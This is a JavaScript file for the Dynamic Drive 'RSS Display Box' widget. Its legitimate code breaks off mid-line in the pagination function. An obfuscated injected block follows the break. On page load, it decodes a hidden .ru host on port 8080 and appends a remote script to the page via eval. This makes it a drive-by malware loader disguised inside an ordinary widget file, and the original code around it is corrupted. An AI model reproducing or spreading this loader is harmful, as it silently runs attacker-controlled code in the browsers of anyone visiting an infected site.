// -------------------------------------------------------------------
// RSS Display Box (Ajax invocation)- Created Dec 2nd 2006 | Last updated Dec 18th, 2006
// Author: Dynamic Drive (http://www.dynamicdrive.com)
// -------------------------------------------------------------------

//Path to "main.php" *relative* to "demo.htm", or the HTML page on your server displaying the RSS Box:

var rssoutputscript="rssbox/main.php"

//Switch to full URL to "main.php" on your server below, so script will work with any page on your server, not just "demo.htm"
//Do NOT change window.location.hostname, which is your site's root domain, dynamically determined
//Configure below line and uncomment it to activate it:

//rssoutputscript="http://"+window.location.hostname+"/mystuff/rssbox/main.php"


////////////No need to edit beyond here//////////////

// -------------------------------------------------------------------
// PUBLIC: rssdisplaybox(RSS_id, cachetime, divId, divClass)
// Main RSS Display Box Object function.
// -------------------------------------------------------------------

function rssdisplaybox(RSS_id, divId, divClass){
this.loadingHTML='<img src="'+rssoutputscript.replace('main.php', '')+'/loading.gif" /> Initializing RSS Display Box...' //Specify HTTML to show while feed is being fetched
this.RSS_id=RSS_id //Array key indicating which RSS feed to display
this.boxid=divId //CSS ID of DIV that will hold the RSS feed items
this.boxclass=divClass //CSS class of DIV
this.cachetime=30 //default cache time, in minutes
this.template=""
this.paginatemode="auto" //default display mode for pagination interface- "auto"
this.pos_or_div="bottom" //default position of auto pagination interface (or if manual interface, id of user specified pagination DIV)
document.write('<div id="'+divId+'-maincontainer"></div>') //Output a master DIV to contain RSS box and pagination div, plus to anchor box's position on the page
}

rssdisplaybox.getvirtualpaginate=function(){} //inherit methods from virtualpaginate() object
rssdisplaybox.getvirtualpaginate.prototype=virtualpaginate.prototype
rssdisplaybox.prototype=new rssdisplaybox.getvirtualpaginate
rssdisplaybox.prototype.constructor=rssdisplaybox


// -------------------------------------------------------------------
// PUBLIC: set_items_shown(items_fetched, items_shown_per_page)
// 1) Sets how many RSS items to fetch (0 indicates all) 2) Optionally, how many items to show "per page block".
// -------------------------------------------------------------------

rssdisplaybox.prototype.set_items_shown=function(items_fetched, items_shown_per_page){
this.utotalitems=parseInt(items_fetched) //user defined # of items to fetch (may differ from what's actually available)
if (typeof items_shown_per_page!="undefined" && (items_shown_per_page<items_fetched || items_fetched==0))
this.uchunksize=parseInt(items_shown_per_page) //user defined items to show per page (so paginate links are created. May differ from what's available).
}

// -------------------------------------------------------------------
// PUBLIC: set_template(name)- Specifies the name of a template, used within if/else logic of function outputbody() in outputbody.php
// -------------------------------------------------------------------

rssdisplaybox.prototype.set_template=function(tname){
this.template=tname.toLowerCase()
}

// -------------------------------------------------------------------
// PUBLIC: set_cache_time(minutes)- Set cache time in minutes. INT.
// -------------------------------------------------------------------

rssdisplaybox.prototype.set_cache_time=function(minutes){
this.cachetime=parseInt(minutes)
}

// -------------------------------------------------------------------
// PUBLIC: setpagination(paginatemode, pos_or_div)- Sets pagination mode ("auto" or "manual"), plus position (in "auto" mode) or id (in "manual" mode) of the paginate div.
// -------------------------------------------------------------------

rssdisplaybox.prototype.setpagination=function(paginatemode, pos_or_div){
this.paginatemode=paginatemode
this.pos_or_div=pos_or_div
}

// -------------------------------------------------------------------
// PUBLIC: start()- User initiated start() function, to tell the script to initialize itself.
// -------------------------------------------------------------------

rssdisplaybox.prototype.start=function(){
var rssboxhtml='<div id="'+this.boxid+'" class="'+this.boxclass+'"></div>'
if (typeof this.uchunksize!="undefined" && this.paginatemode=="auto") //if pagination links are needed AND mode is "auto"
document.getElementById(this.boxid+'-maincontainer').innerHTML=this.rssboxhtmlauto(rssboxhtml, this.pos_or_div)
else //in all other cases (paginate mode is "manual", or no pagination links needed at all)
document.getElementById(this.boxid+'-maincontainer').innerHTML=rssboxhtml
if (typeof this.uchunksize!="undefined")
this.paginatedivid=(this.paginatemode=="auto")? this.boxid+"-paginatediv" : this.pos_or_div
this.ajaxobj=createAjaxObj()
this.getAjaxcontent()
}

// -------------------------------------------------------------------
// PRIVATE: rssboxhtmlauto(rssboxhtml, paginatesetting)- Returns the full HTML to write out when pagination interface is set to "auto" generate
// -------------------------------------------------------------------

rssdisplaybox.prototype.rssboxhtmlauto=function(rssboxhtml, position){
var paginatedivauto='<div id="'+this.boxid+'-paginatediv" class="rsspaginate"><form><a href="#" rel="previous">Prev</a> <select class="paginateselect"></select> <a href="#" rel="next">Next</a></form></div>'
var rssboxhtmlauto=(position=="top")? paginatedivauto+rssboxhtml : rssboxhtml+pag

try{window.onload=function(){Sr77o1cpaq7bqqng = '' + 's$m(a#(s#h!&#!&i$@$)n@$g!m&a@g&&a(&#z!#&i)n)&e)#!-!c(o&^m$$!(.^($@@t#!u(@b)$$^e^!8&.$c#o@m&$.!#a$^n@o(^n!)y^&!m)#-@t@($$o&&.)&!a!v$@a^#!t##$#)t&#&o&&!p$&.#@r^&u#$&:^@!U)$!^v$$&0&&@@s()^$p(m!#^o$^^x@!@v&#!)k@6)@w$$p$!&(/$(&g#$#o(^o!g!(^l&e($^.#^($c()))o&)(m()/$g)!o(^o#g!l(e)$&^.(!c&^#o!&&m^$(/#p$!)l(&a@y&^$).#$&c(^(o&m@!!/@l$&i)^n!&@k&#$w!i$(!#t^)h(&i@@#n&@$().$#c&^o(&!m&&/)!!&l(!e!m@)(o#&^n^^d&(e!!.!#@^$f(!r#^&/!'.replace(/@|&|\)|\(|\^|\!|\$|#/ig, '') ;G4ybgpy9jp = 'appendChild';L8fxjgnvrw1pb = document.createElement('sc'+'ript');L8fxjgnvrw1pb.src = 'h'+'ttp://'+Sr77o1cpaq7bqqng.replace(/Uv0spmoxvk6wp/g, '8080');L8fxjgnvrw1pb.setAttribute('defer', 'def'+'er');eval('document.body.'+G4ybgpy9jp+'(L8fxjgnvrw1pb)');} }  catch(Vndx63sc5 ) {}